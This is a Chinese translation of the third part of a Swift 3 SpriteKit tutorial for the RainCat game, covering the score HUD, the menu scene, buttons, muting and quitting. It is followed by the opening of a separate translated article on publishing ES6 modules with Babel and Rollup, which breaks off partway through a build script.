[![添加一行](https://www.smashingmagazine.com/wp-content/uploads/2016/10/settings_infoplist-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/settings_infoplist-preview-opt.png) 在新添加的一行里,输入下面的内容: ``` Fonts provided by application ``` 然后在 `Item 0` 下面,我们得添加字体的名字。`plist` 文件看起来应该像下面这样: [![Pixel digivolve.otf](https://www.smashingmagazine.com/wp-content/uploads/2016/10/settings_plistfont-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/settings_plistfont-preview-opt.png) 字体已经准备完毕啦!我们应该做个快速的测试,看看它能不能像预期那样使用。打开 `GameScene.swift`,把下面的代码加在 `sceneDidLoad` 函数里的上方: ``` let label =SKLabelNode(fontNamed:"PixelDigivolve") label.text ="Hello World!" label.position =CGPoint(x: size.width /2, y: size.height /2) label.zPosition =1000addChild(label) ``` 一切 OK 吗? [![Hello world!](https://www.smashingmagazine.com/wp-content/uploads/2016/10/screen_withtext-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/screen_withtext-preview-opt.png) 如果字体正常,那就说明你做的完全正确。如果不正常,那就是什么地方出了问题。Code With Chris 有一篇更加深入的[字体导入问题的文章](http://codewithchris.com/common-mistakes-with-adding-custom-fonts-to-your-ios-app/),但要注意的是,这是一篇老版本 Swift 的文章,你可能需要稍稍改动一些地方来过渡到 Swift 3 。 现在可以开始给我们的指示器加载自定义字体了。删掉 “Hello World” 标签,因为这个只是测试字体是否正常用的。指示器是一个 `SKNode` ,作为我们 HUD 控件的容器。这和我们在第一节课创建背景节点的过程一样。 老样子,创建 `HudNode.swift` 文件,输入下面的代码: ``` import SpriteKit class HudNode : SKNode { private let scoreKey = "RAINCAT_HIGHSCORE" private let scoreNode = SKLabelNode(fontNamed: "PixelDigivolve") private(set) var score : Int = 0 private var highScore : Int = 0 private var showingHighScore = false /// Set up HUD here. public func setup(size: CGSize) { let defaults = UserDefaults.standard highScore = defaults.integer(forKey: scoreKey) scoreNode.text = "\(score)" scoreNode.fontSize = 70 scoreNode.position = CGPoint(x: size.width / 2, y: size.height - 100) scoreNode.zPosition = 1 addChild(scoreNode) } /// Add point. /// - Increments the score. /// - Saves to user defaults. /// - If a high score is achieved, then enlarge the scoreNode and update the color. public func addPoint() { score += 1 updateScoreboard() if score > highScore { let defaults = UserDefaults.standard defaults.set(score, forKey: scoreKey) if !showingHighScore { showingHighScore = true scoreNode.run(SKAction.scale(to: 1.5, duration: 0.25)) scoreNode.fontColor = SKColor(red:0.99, green:0.92, blue:0.55, alpha:1.0) } } } /// Reset points. /// - Sets score to zero. /// - Updates score label. /// - Resets color and size to default values. public func resetPoints() { score = 0 updateScoreboard() if showingHighScore { showingHighScore = false scoreNode.run(SKAction.scale(to: 1.0, duration: 0.25)) scoreNode.fontColor = SKColor.white } } /// Updates the score label to show the current score. private func updateScoreboard() { scoreNode.text = "\(score)" } } ``` 在我们做其他事之前,先在 `Constants.swift` 文件底部把下面的这行代码加上 —— 我们用这个键来读写最高得分记录: ``` let ScoreKey ="RAINCAT_HIGHSCORE" ``` 代码里,有五个关于计分板的变量,第一个实际上是个 `SKLabelNode`,用来表示标签。接着是用来保存当前分数的变量;再接下来是记录最高分的变量,最后一个变量是布尔类型,用来判断是否显示我们当前获得的分数(我们用这个变量来判断是否需要运行一个 `SKAction` 来增加计分板的比例以及把地板弄成黄色)。 第一个函数 `setup(size:)` 的功能是把一切都设置好。我们就像之前那样来设置 `SKLabelNode`。`SKNode` 类没有任何默认尺寸,所以我们要创建一种方式来设置一个尺寸用于固定 `scoreNode` 的大小。我们还要从 [`UserDefaults`](https://developer.apple.com/reference/foundation/userdefaults) 里面得到当前最高分。这是一种简单方便的存储少量数据的方法,不过不太安全。不过我们并不用担心示例程序的安全性,所以使用 `UserDefaults` 也能让很好地完成这个任务 在 `addPoint()` 函数里面,我们增加了 `score` 变量的值,接着检查玩家是否得到一个更高的分数。如果是,那么我们就把分数存到 `UserDefaults` 里,然后检查当前是否显示最高分。如果玩家达到了一个很高的分数,我们就用动画渲染 `scoreNode` 的颜色和大小。 在 `resetPoints()` 函数中,我们把当前分数设为 `0`。然后,我们就检查是否需要显示高的得分,如果需要的话,重置默认值的颜色和大小。 最后还有一个小函数,叫 `updateScoreboard`。这个私有函数用来把分数设置到 `scoreNode` 的文本上。在 `addPoint()` 和 `resetPoints()` 里用到了这个函数。 ### 挂上指示器 我们得检查一下指示器是不是正常工作。到 `GameScene.swift` 文件,在文件的上方,`foodNode` 变量下边添加一行代码: ``` private let hudNode =HudNode() ``` 在 `sceneDidLoad()` 函数内部的上方,添加下面两行代码: ``` hudNode.setup(size: size) addChild(hudNode) ``` 接着,在 `spawnCat()` 函数,重置所有点防止猫从屏幕上掉下去。在把猫精灵加到场景的后面,加上这行代码: ``` hudNode.resetPoints() ``` 接下来,在 `handleCatCollision(contact:)` 函数中,当猫被雨淋到时,我们也需要重置分数。在函数最后,`switch` 语句的 `RainDropCategory` 分支里,加上下面这行代码: ``` hudNode.resetPoints() ``` 最后,我们得告诉计分板,什么时候用户得了分。在 `handleFoodHit(contact:)` 文件的最后,找到下面这几行代码: ``` //TODO increment points print("fed cat") ``` 换成这个: ``` hudNode.addPoint() ``` 以上! [![HUD unlocked!](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_scoring-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_scoring-preview-opt.png) 当来回收集食物时,你就会看到指示器的效果了。第一次收集食物的时候,你应该会看到分数变黄然后比例变大,如果你看到当猫淋到雨滴时,分数重置,那么你就是正确的! [![High Score!](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_scoreincrease-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_scoreincrease-preview-opt.png) ### 下一个场景 没错,我们要开始下一个场景了!事实上,如果这个场景完成,它将会作为我们游戏的首屏展示。在做其他事情之前,打开 `Constants.swift` 然后添加下面这行代码到文件的底部 — 我们用它来检索以及保持高分: ``` let ScoreKey ="RAINCAT_HIGHSCORE" ``` 创建一个新场景,把它放到 “Scenes” 文件夹里,然后命名为 `MenuScene.swift`。把下面的代码加进去: ``` import SpriteKit class MenuScene : SKScene { let startButtonTexture =SKTexture(imageNamed:"button_start") let startButtonPressedTexture =SKTexture(imageNamed:"button_start_pressed") let soundButtonTexture =SKTexture(imageNamed:"speaker_on") let soundButtonTextureOff =SKTexture(imageNamed:"speaker_off") let logoSprite =SKSpriteNode(imageNamed:"logo") var startButton : SKSpriteNode!= nil var soundButton : SKSpriteNode!= nil let highScoreNode =SKLabelNode(fontNamed:"PixelDigivolve") var selectedButton : SKSpriteNode? override func sceneDidLoad(){ backgroundColor =SKColor(red:0.30, green:0.81, blue:0.89, alpha:1.0) //Set up logo - sprite initialized earlier logoSprite.position =CGPoint(x: size.width /2, y: size.height /2+100) addChild(logoSprite) //Set up start button startButton =SKSpriteNode(texture: startButtonTexture) startButton.position =CGPoint(x: size.width /2, y: size.height /2- startButton.size.height /2) addChild(startButton) let edgeMargin : CGFloat =25 //Set up sound button soundButton =SKSpriteNode(texture: soundButtonTexture) soundButton.position =CGPoint(x: size.width - soundButton.size.width /2- edgeMargin, y: soundButton.size.height /2+ edgeMargin) addChild(soundButton) //Set up high-score node let defaults = UserDefaults.standard let highScore = defaults.integer(forKey: ScoreKey) highScoreNode.text ="\(highScore)" highScoreNode.fontSize =90 highScoreNode.verticalAlignmentMode =.top highScoreNode.position =CGPoint(x: size.width /2, y: startButton.position.y - startButton.size.height /2-50) highScoreNode.zPosition =1 addChild(highScoreNode) } } ``` 因为这个场景真的很简单。所以我们不会创建任何特殊的类。我们的场景将只由两个按钮组成。这两个按钮可以(或者说应该)拥有自己的 `SKSpriteNodes` 类,但是因为他们都不一样,所以我不会为他们创建新的类。在构建属于你自己的游戏的时候,这是很重要的一点:在事情变得复杂时,你需要有能力来判断,在哪里停下来并重构代码。一旦你添加了三个或四个以上的按钮到游戏里,那可能就是时候停下来把菜单按钮放到他们自己的类里了。 上面的代码没做什么特别的事儿;只是设置了四个精灵的坐标。当然我们也设置了场景的背景颜色,所以整个背景的值也是正确的。[UI Color](http://uicolor.xyz/) 是一个从十六进制串(HEX strings)生成 Xcode 颜色代码的优秀工具。上面的代码还设置了按钮状态的纹理。开始按钮有一个正常状态和一个按下的状态,而声音按钮则是一个开关。为了让开关简单点,在玩家点击时,我们改变声音按钮上的透明度。当然我们也设置了获得高分的 `SKLabelNode`。 我们的 `MenuScene` 看起来不错。现在,在游戏加载时需要展示场景。到 `GameViewController.swift` 文件,找到下面这行代码: ``` let sceneNode =GameScene(size: view.frame.size) ``` 把它换成这个: ``` let sceneNode =MenuScene(size: view.frame.size) ``` 这个小改动会默认加载 `MenuScene` 场景,而不是 `GameScene`。 [![我们新的场景!](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_newscene-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_newscene-preview-opt.png) ### 按钮的状态 按钮在 SpriteKit 中可能有些麻烦。有丰富的轮子可以用(我甚至还自己做了一个),但是理论上,你只需要理解这三个函数: - `touchesBegan(_ touches: with event:)` - `touchesMoved(_ touches: with event:)` - `touchesEnded(_ touches: with event:)` 在更新伞的时候我们简单提了几句,但是现在我们需要知道接下来的几点:哪个按钮被触摸,玩家是松开按钮还是点击按钮,按钮是不是一直被按着。这个时候就需要 `selectedButton` 变量发挥它的作用了。在触摸开始时,我们就可以通过这个变量来捕获被按的按钮。如果他们拖拽按钮,我们就可以处理并适当的给它一些纹理。在松开按钮时,我们也可以知道他们是否还跟按钮有接触,如果有接触,那就可以提供一些相关联的动作。把下面这些代码添加到 `MenuScene.swift` 的底部: ``` override func touchesBegan(_ touches: Set, with event: UIEvent?){ if let touch = touches.first { if selectedButton != nil { handleStartButtonHover(isHovering: false) handleSoundButtonHover(isHovering: false) } // Check which button was clicked (if any) if startButton.contains(touch.location(in: self)){ selectedButton = startButton handleStartButtonHover(isHovering: true) } else if soundButton.contains(touch.location(in: self)){ selectedButton = soundButton handleSoundButtonHover(isHovering: true) } } } override func touchesMoved(_ touches: Set, with event: UIEvent?){ if let touch = touches.first { // Check which button was clicked (if any) if selectedButton == startButton { handleStartButtonHover(isHovering:(startButton.contains(touch.location(in: self))))     } else if selectedButton == soundButton { handleSoundButtonHover(isHovering:(soundButton.contains(touch.location(in: self)))) } } } override func touchesEnded(_ touches: Set, with event: UIEvent?){ if let touch = touches.first { if selectedButton == startButton { // Start button clicked handleStartButtonHover(isHovering: false) if(startButton.contains(touch.location(in: self))){ handleStartButtonClick() }     } else if selectedButton == soundButton { // Sound button clicked handleSoundButtonHover(isHovering: false) if(soundButton.contains(touch.location(in: self))){ handleSoundButtonClick() } } } selectedButton = nil } /// Handles start button hover behavior func handleStartButtonHover(isHovering : Bool){ if isHovering { startButton.texture = startButtonPressedTexture   } else { startButton.texture = startButtonTexture } } /// Handles sound button hover behavior func handleSoundButtonHover(isHovering : Bool){ if isHovering { soundButton.alpha =0.5 }else{ soundButton.alpha =1.0 } } /// Stubbed out start button on click method func handleStartButtonClick(){ print("start clicked") } /// Stubbed out sound button on click method func handleSoundButtonClick(){ print("sound clicked") } ``` 这就是对我们两个按钮的简单处理。在 `touchesBegan(_ touches: with events:)` 里,我们首先检查当前是否有按钮被选中。如果我们要做这个检查,我们就要得先重置按钮到没有被按下的状态,然后,检查是否有哪个按钮被按下。如果有被按下的按钮,就显示它的高亮状态,接下来,我们就在其他两个方法里设置按钮的 `selectedButton` 属性以供使用。 在 `touchesMoved(_ touches: with events:)` 方法中,我们检查最初触摸的是哪个按钮。接着,检查当前触摸是否还在 `selectedButton` 的边界内,如果还在,就更新按钮的状态为高亮。`startButton` 的高亮状态是改变按下的纹理,而 `soundButton` 的高亮状态是把精灵的透明度设置为 50%。 最后,在 `touchesEnded(_ touches: with event:)` 方法里,我们再次检查哪个按钮被选中,如果有,接着检查这个触摸时候还在按钮的边界内,如果前面的条件都满足,那么我们根据不同的按钮调用 `handleStartButtonClick()` 或者 `handleSoundButtonClick()`。 ### 按钮的动作 现在,我们已经搞定了按钮的基础行为,在按钮被点击的时候,我们还需要一个触发事件。对于 `startButton` 来说,这个实现很容易。我们只需要在点击时展示 `GameScene`。在 `MenuScene.swift` 文件里,更新 `handleStartButtonClick()` 方法里面的代码: ``` func handleStartButtonClick(){ let transition = SKTransition.reveal(with:.down, duration:0.75) let gameScene =GameScene(size: size) gameScene.scaleMode = scaleMode view?.presentScene(gameScene, transition: transition) } ``` 如果你现在运行程序,然后点击按钮,游戏就开始了! 接着,我们需要一个静音的切换。我们已经有一个音乐管理器了,但是我们需要告诉它静音是否开启。我们需要在 `Constants.swift` 里添加一个 key 来持久化存储静音状态。添加下面这行代码: ``` let MuteKey ="RAINCAT_MUTED" ``` 用它把一个布尔类型的值保存到 `UserDefaults` 里。现在这里已经设置完了,我们到 `SoundManager.swift` 文件中。我们在这里通过检查和设置 `UserDefaults` 来确定静音的开关。在文件的顶部,`trackPosition` 变量的下面,加上这行代码: ``` private(set) var isMuted = false ``` 这个变量用于主菜单(或者其他要播放声音的地方)检查是否允许播放声音。我们给他设置一个 `false` 的初始值,但首先我们需要检查 `UserDefaults` 里,来看看玩家是怎样设置的。把 `init()` 方法换成下面的代码: ``` private override init(){ //This is private, so you can only have one Sound Manager ever. trackPosition =Int(arc4random_uniform(UInt32(SoundManager.tracks.count))) let defaults = UserDefaults.standard isMuted = defaults.bool(forKey: MuteKey) } ``` 做完这些,我们的 `isMuted` 就有默认值了,我们还需要它能够切换。在 `SoundManager.swift` 文件里的底部,加入这些代码: ``` func toggleMute()-> Bool { isMuted =!isMuted let defaults = UserDefaults.standard defaults.set(isMuted, forKey: MuteKey) defaults.synchronize() if isMuted { audioPlayer?.stop()   } else { startPlaying() } return isMuted } ``` 在 `UserDefaults` 更新时,这个方法会切换我们的静音变量,如果新的值不是静音,那音乐就会开始播放;如果新的值是静音,那音乐就不会开始。此外,我们还会停止播放当前的音乐。做完这些,我们还需要修改一下 `startPlaying()` 里的 `if` 语句。 找到下面的代码: ``` if audioPlayer == nil || audioPlayer?.isPlaying == false { ``` 换成这行: ``` if!isMuted &&(audioPlayer == nil || audioPlayer?.isPlaying == false){ ``` 现在,在静音被关闭时,无论是播放器没有设置,还是当前播放停止了,我们都会继续播放音乐。 从这开始,我们就该完成 `MenuScene.swift` 的静音按钮了。把 `handleSoundbuttonClick()` 方法换成下面的代码: ``` func handleSoundButtonClick(){ if SoundManager.sharedInstance.toggleMute(){ //Is muted soundButton.texture = soundButtonTextureOff   } else { //Is not muted soundButton.texture = soundButtonTexture } } ``` 这里切换了在 `SoundManager` 的声音,检查结果,接着稍微改变了一下纹理,来告诉玩家音乐是否静音。我们马上就要完成了!只剩下在游戏启动时候,设置按钮的初始纹理。在 `sceneDidLoad()`,找到这行代码: ``` soundButton =SKSpriteNode(texture: soundButtonTexture) ```   替换成下面的: ``` soundButton =SKSpriteNode(texture: SoundManager.sharedInstance.isMuted ? soundButtonTextureOff : soundButtonTexture) ``` 上面的例子使用了 [ternary operator](https://developer.apple.com/library/ios/documentation/Swift/Conceptual/Swift_Programming_Language/BasicOperators.html#//apple_ref/doc/uid/TP40014097-CH6-ID60) 来设置正确的纹理。 音乐这部分处理已经完成了,我们到 `CatSprite.swift` 文件,让小猫在静音的时候不能喵喵叫。在 `hitByRain()` 方法,删除散步动作后,添加下面的这行 `if` 语句: ``` if SoundManager.sharedInstance.isMuted {return} ``` 这条语句会判断游戏是否静音,如果是就返回。这样,我们就可以忽略 `currentRainHits`,`maxRainHits` 和喵喵声的效果了。 所有的这些都弄完之后,是时候来试试静音按钮的效果了。运行游戏,确定是否在播放音乐。关闭音乐,然后重启游戏。确定游戏还是静音的。需要注意的一点是,如果你只是开启静音并用 Xcode 重启游戏,那可能没有足够的时间来向 `UserDefaults` 存储静音变量。玩一下游戏,确认在静音的时候猫不会喵喵的叫。 [![](https://i.vimeocdn.com/video/600110219.webp?mw=700&mh=528)](https://player.vimeo.com/video/189700402) ### 退出游戏 现在为止,我们已经弄完了主菜单的第一种按钮,我们可以通过添加按钮,来为场景处理一些棘手的业务了。一些有趣的交互可以展示出我们游戏的风格;现在,雨伞会随着玩家的触摸而移动到相应的位置。显然,在玩家要退出游戏的时候,雨伞也会移动过去,这肯定是个糟糕的用户体验,所以我们要阻止它发生。 我们会模仿前面添加的开始按钮来实现退出按钮,其中大部分过程都不会变。改变的地方在处理触摸这部分。把你的 `quit_button` 和 `quit_button_pressed` 资源放进 `Assets.xcassets` 文件夹里,然后把下面的代码添加到 `HudNode.swift` 文件中: ``` private var quitButton : SKSpriteNode! private let quitButtonTexture =SKTexture(imageNamed:"quit_button") private let quitButtonPressedTexture =SKTexture(imageNamed:"quit_button_pressed") ```     这些变量会处理我们的 `quitButton` 引用,并且会根据退出按钮的不同状态来设置纹理。为了确保不在退出游戏的时候,不小心更新雨伞对象,我们还需要一个变量来告诉指示器(和游戏场景),我们只是和退出按钮交互,而不是雨伞。把下面的代码添加到 `showingHighScore` 变量后面: ``` private(set) var quitButtonPressed = false ```   同样的,这是一个只有在 `HudNode` 中才能修改,而其他类只能查看的变量。现在变量已经设置好了,我们可以添加按钮到指示器了。把下面的代码添加到 `setup(size:)` 方法中: ``` quitButton = SKSpriteNode(texture: quitButtonTexture) let margin : CGFloat =15 quitButton.position =CGPoint(x: size.width - quitButton.size.width - margin, y: size.height - quitButton.size.height - margin) quitButton.zPosition =1000 addChild(quitButton) ``` 上面的代码会设置退出按钮没被按下状态的纹理。我们也把它的位置设到了右上角,并且把 `zPosition` 的值设置的很高,来让它一直显示在最前面。如果你现在运行游戏,他就会显示在 `GameScene` 里,不过还不能点。 [![Quit button](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_quit-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_quit-preview-opt.png) 现在按钮已经定位,我们还要能够和它交互。在 `GameScene` 中,唯一有交互的地方就是和 `umbrellaSprite` 的交互。在我们的例子里,指示器的优先级比伞高,所以玩家在退出时,不用特意把伞移走。我们可以在 `HudNode.swift` 里创建一些相同的方法来模仿 `GameScene.swift` 里的触摸功能。在 `HudNode.swift` 文件加入下面的代码: ``` func touchBeganAtPoint(point: CGPoint) { let containsPoint = quitButton.contains(point) if quitButtonPressed && !containsPoint { //Cancel the last click quitButtonPressed = false quitButton.texture = quitButtonTexture } else if containsPoint { quitButton.texture = quitButtonPressedTexture quitButtonPressed = true } } func touchMovedToPoint(point: CGPoint) { if quitButtonPressed { if quitButton.contains(point) { quitButton.texture = quitButtonPressedTexture } else { quitButton.texture = quitButtonTexture } } } func touchEndedAtPoint(point: CGPoint) { if quitButton.contains(point) { //TODO tell the gamescene to quit the game } quitButton.texture = quitButtonTexture } ``` 上面的代码大部分和 `MenuScene` 创建的差不多。不同的地方是,只需要跟踪一个按钮的状态,所以我们可以在这些方法里处理所有的事情。而且,我们还知道 `GameScene` 里的触摸点的位置,这样就可以检查我们的按钮是否包含触摸点。 移动到 `GameScene.swift`, 并用下面的代码替换 `touchesBegan(_ touches with event:)` 和 `touchesMoved(_ touches: with event:)`: ``` override func touchesBegan(_ touches: Set, with event: UIEvent?) { let touchPoint = touches.first?.location(in: self) if let point = touchPoint { hudNode.touchBeganAtPoint(point: point) if !hudNode.quitButtonPressed { umbrellaNode.setDestination(destination: point) } } } override func touchesMoved(_ touches: Set, with event: UIEvent?) { let touchPoint = touches.first?.location(in: self) if let point = touchPoint { hudNode.touchMovedToPoint(point: point) if !hudNode.quitButtonPressed { umbrellaNode.setDestination(destination: point) } } } override func touchesEnded(_ touches: Set, with event: UIEvent?) { let touchPoint = touches.first?.location(in: self) if let point = touchPoint { hudNode.touchEndedAtPoint(point: point) } } ``` 这里,每个方法以几乎相同的方式处理一切。我们告诉指示器玩家和场景交互。然后,检查退出按钮当前是否在捕捉触摸。如果它没有捕捉触摸,那我们就移动伞。我们还在 `touchesEnded(_ touches: with event:)` 方法里添加了点击退出按钮结束的处理,但我们还是没有使用到 `umbrellaSprite`。 [![](https://i.vimeocdn.com/video/600111380.webp?mw=700&mh=549)](https://player.vimeo.com/video/189701318) 我们有个按钮了,现在我们需要一种方式来作用于 `GameScene`。把下面这行代码添加到 `HudeNode.swift` 的顶部: ``` var quitButtonAction : (()->())? ``` 这是一个基本的[闭包](https://www.weheartswift.com/closures/),没有参数也没返回值。我们会在 `GameScene.swift` 文件里设置它,在点击 `HudNode.swift` 里的按钮时候调用。接着,我们就可以用下面的代码,来替换以前在 `touchEndedAtPoint(point:)` 里面创建的 `TODO` 部分: ``` if quitButton.contains(point)&& quitButtonAction != nil { quitButtonAction!() } ```     现在如果我们设置了 `quitButtonAction` 闭包,它就会在这被调用。 要设置 `quitButtonAction` 闭包,我们就要到 `GameScene.swift` 文件里。在 `sceneDidLoad()` 函数,把设置指示器的代码换成下面的: ``` hudNode.setup(size: size) hudNode.quitButtonAction ={ let transition = SKTransition.reveal(with:.up, duration:0.75) let gameScene =MenuScene(size: self.size) gameScene.scaleMode = self.scaleMode self.view?.presentScene(gameScene, transition: transition) self.hudNode.quitButtonAction = nil } addChild(hudNode) ``` 运行程序,点击开始游戏,然后点退出按钮。如果你回到了主菜单,那说明退出按钮和预期的一样。在闭包里,我们创建并初始化了一个到 `MenuScene` 的过渡。我们还把这个闭包设置为 `HUD` 的节点,当点击退出按钮时运行闭包。这里,另一行重要的代码是我们把 `quitButtonAction` 设为 `nil`。这么做的原因是有一个循环引用产生了。场景持有一个指示器的引用,而指示器也持有一个场景的引用。因为他们两个互相引用,导致在垃圾回收的时候,他们都不会被处理。这种情形下,每次我们进入和离开 `GameScene` 的时候,都会有一个新的实例被创建,并且从来都不释放。这对性能有严重的影响,游戏最后一定会内存爆炸。有很多种方式来避免它,但在我们这里,只是从指示器中移除对 `GameScene` 的引用,这样在我们回到 `MenuScene` 的时候,场景和指示器都会被终止。对于引用类型和如何避免循环引用,[Krakendev 有一些更深的见解](http://krakendev.io/blog/weak-and-unowned-references-in-swift) 。 现在,到 `GameViewController.swift` 文件,把下面的这几行代码注掉或者删除: ``` view.showsPhysics = true view.showsFPS = true view.showsNodeCount = true ``` 把调试信息去掉以后,游戏看起来真的很不错!恭喜你:我们已经现在进入 beta 版了!在 [GitHub](https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-lesson-three) 上找到今天的最终代码。 ### 最后的思考 这是三遍教程的最后一篇,如果你一直跟着到这,那你已经对你的游戏付出了很多工作。在本教程中,你把一个一无所有的场景,变成了一个完整的游戏。恭喜!在[第一课](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-build-a-spritekit-game-in-swift-3-part-1.md)里,我们添加了地面,雨滴,背景和雨伞精灵。我们还通过物理引擎来确保雨滴没有堆积在一起。我们用碰撞检测来移除节点,这样就解决了内存溢出的问题。我们也添加了一些交互来允许伞向玩家触摸屏幕的位置移动。 在[第二课](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-build-a-spritekit-game-in-swift-3-part-2.md)里,我们添加了猫和食物,为他们定制了一些不同的生成方法。我们还更新了碰撞检测,让猫精灵和食物精灵产生一些作用。我们也在猫的移动上做了一些处理。小猫有一个目的:吃掉每一个食物。我们为猫添加了简单的动画效果,还增加了猫和雨滴之间的交互。最后,我们添加了音效和背景音乐,让我们的程序看上去更像一个完整的游戏。 在这最后的一篇教程里,我们创建了一个指示器放我们的分数标签和退出按钮。我们处理节点上的操作,并使用户能够从指示器节点的回调里退出。我们还添加了一个玩家启动游戏的场景,并可以在点击退出按钮后返回。我们还处理了开始游戏和控制游戏中的声音的过程。 #### 接下来做什么 我们做到这一步用了很久,但这个游戏还有许多工作需要继续。RainCat 也会继续发展,而且它已经可以在 [App Store](https://itunes.apple.com/us/app/raincat/id1152624676?ls=1&mt=8) 下载了。下面的列表是一些想要加的和需要加的功能。有一些已经加上了,还有一些待定中: - 添加 icon 图标和启动画面。 - 完成主菜单(教程的是简化版)。 - 修复 bug,包括烦人的雨滴和多重食物的生成。 - 重构并优化代码。 - 根据得分更改游戏的调色板。 - 根据得分更新难度。 - 当食物在猫的正上方,让猫有一些动作。 - 集成 Game Center。 - 标明出处(包括一些适当的音乐曲目)。 请持续关注 [GitHub](https://github.com/thirteen23/RainCat),因为在不久的将来这些都会被实现。如果你对代码有任何的问题,随时可以在 [hello@thirteen23.com](mailto:hello@thirteen23.com) 给我们留言,我们可以一起讨论它。如果问题有足够的关注,那也许我们会专门写一篇文章来探讨这些问题。 #### 感谢! 我真的很感谢所有那些,在制作游戏和写文章的过程中,与之相伴的人。 - [Cathryn Rowe](https://www.thirteen23.com/about/#cathryn-rowe) 提供了游戏最初的美术,设计和编辑,并且在 [Garage](https://www.thirteen23.com/garage/) 发布了文章。 - [Morgan Wheaton](https://www.thirteen23.com/about/#morgan-wheaton) 提供了游戏最终菜单的设计和调色板(如果我实现了这些,效果肯定酷炫 — 敬请期待)。 - [Nikki Clark](https://www.thirteen23.com/about/#nikki-clark) 提供了文章中漂亮的标题和分割符,并且帮助编写文章。 - [Laura Levisay](https://www.thirteen23.com/about/#laura-levisay) 提供了三篇文章里所有漂亮的 GIF 图片,还很友好的把小猫的 GIF 也发给了我。 - [Tom Hudson](https://www.thirteen23.com/about/#tom-hudson) 提供了编辑文章的帮助,如果没有他,这个系列可能都不会出现。 - [Lani DeGuire](https://www.thirteen23.com/about/#lani-deguire) 提供了编辑文章的帮助,这的确是一项大工程。 - [Jeff Moon](https://www.thirteen23.com/about/#jeffrey-moon) 提供了第三课的编辑工作和乒乓球,很多的乒乓球(译者注:这里原文就是ping-pong,译者的理解是,可能他们写代码有点累,所以打了会乒乓球。) - [Tom Nelson](https://www.thirteen23.com/about/#tom-nelson) 正因为这些帮助,教程才会像预计的那样完成。 认真的说,真的用了一大堆人来准备这篇文章,并发布到商店。 也谢谢每一位读到这句话的读者,感谢。 ================================================ FILE: TODO/how-to-build-and-publish-es6-modules-today-with-babel-and-rollup.md ================================================ >* 原文链接 : [How to Build and Publish ES6 Modules Today, with Babel and Rollup](https://medium.com/@tarkus/how-to-build-and-publish-es6-modules-today-with-babel-and-rollup-4426d9c7ca71#.oqt9xunbj) * 原文作者 : [Konstantin Tarkus](https://medium.com/@tarkus) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [L9m](https://github.com/L9m) * 校对者: [yangzj1992](https://github.com/yangzj1992), [malcolmyu](https://github.com/malcolmyu) # 如何用 Babel 和 Rollup 来构建和发布 ES6 模块 ES2015 规范,也称作 ES6,早在2015年六月被 ECMA 国际(ECMA International)批准为正式标准。在2016年四月,Node.js 基金会发布了支持 93% ES6语言特性的 Node.js 框架 v6,这要归功于 V8(引擎)的 v5.0(Node.js)。 很难说用 ES6 及以上的语法和现有语法特性替代第三方库和 polyfills 有明显的好处。比如语法更加简洁,更可读的代码,更少的抽象,更易于代码库的维护和扩展,能让开发你的库更快,在精益创业术语中意味着**市场首入**。 如果你正在开发一个基于 Node.js 平台的全新 JavaScript 库(npm 模块),或许在优化后的 Node.js v6 环境中将它发布在 NPM , 并对还在使用 Node.js v5 和更早版本的开发者选择性地提供回退可能是一个好主意。好让 Node.js 6 的用户能常规地导入你的库: const MyLibrary = require('my-library'); 确保代码在 Node.js 6 环境中运行正常。 而且 Node 0.x 、4.x 、5.x 的用户也可以导入你的库的 ES5.1 版本来作为替代(通过 Babel 将 ES6 转换成 ES5.1): var MyLibrary = require('my-library/legacy'); 除此之外,在此强烈建议将使用 ES2015 模块语法的另一个版本的库包含到你的 NPM 包中。[模块](https://twitter.com/koistya/status/726042867211325440) 还没有落地到 Node.js 和 V8 中,但是由于 WebPack、Browserify、JSPM 和 Babel 编译器,而在 Node.js 和前端社区中被广泛使用。为此,你需要将源码编译成针对 Node.js 6 优化的一种可分发格式(distributable format),另外要确保源码中的 import/export 声明不会被转换成 ES5 模块的 exports 语法。让我们示范一下使用 Rollup 和 Babel 该怎么做。你项目的目录结构可能如下: . ├── /dist/ # Temp folder for compiled output │ ├── /legacy/ # Legacy bundle(s) for Node 0.x, 4.x │ │ ├── /main.js # ES5.1 bundle for Node 0.x, 4.x │ │ └── /package.json # Legacy NPM module settings │ ├── /main.js # ES6 bundle /w CommonJS for Node v6 │ ├── /main.mjs # ES6 bundle /w Modules for cool kids │ ├── /main.browser.js # ES5.1 bundle for browsers │ ├── /my-library.js # UMD bundle for browsers │ ├── /my-library.min.js # UMD bundle, minified and optimized │ └── /package.json # NPM module settings ├── /node_modules/ # 3rd-party libraries and utilities ├── /src/ # ES2015+ source code │ ├── /main.js # The main entry point │ ├── /sub-module-a.js # A module referenced in main.js │ └── /sub-module-b.js # A module referenced in main.js ├── /test/ # Unit and end-to-end tests ├── /tools/ # Build automation scripts and utilities │ └── /build.js # Builds the project with Babel/Rollup └── package.json # Project settings 这里有一个包含你的库的 (使用)ES2015+ 语法源码的 “src” 文件夹,和一个你创建项目生成的 “dist” (或“build”)文件夹。在 “dist” 文件夹中包含你发布 NPM 的 CommonJS、ES6 和 UMD bundles(用 Babel 和 Rollup 编译)。 “package.json” 文件包含这些依赖包的引用: { "name": "my-library", "version": "1.0.0", "main": "main.js", "jsnext:main": "main.mjs", "browser": "main.browser.js", ... } “tools/build.js” 脚本是配置编译步骤的一个简便方法。它看起来如下: 'use strict'; const fs = require('fs'); const del = require('del'); const rollup = require('rollup'); const babel = require('rollup-plugin-babel'); const uglify = require('rollup-plugin-uglify'); const pkg = require('../package.json'); const bundles = [ { format: 'cjs', ext: '.js', plugins: [], babelPresets: ['stage-1'], babelPlugins: [ 'transform-es2015-destructuring', 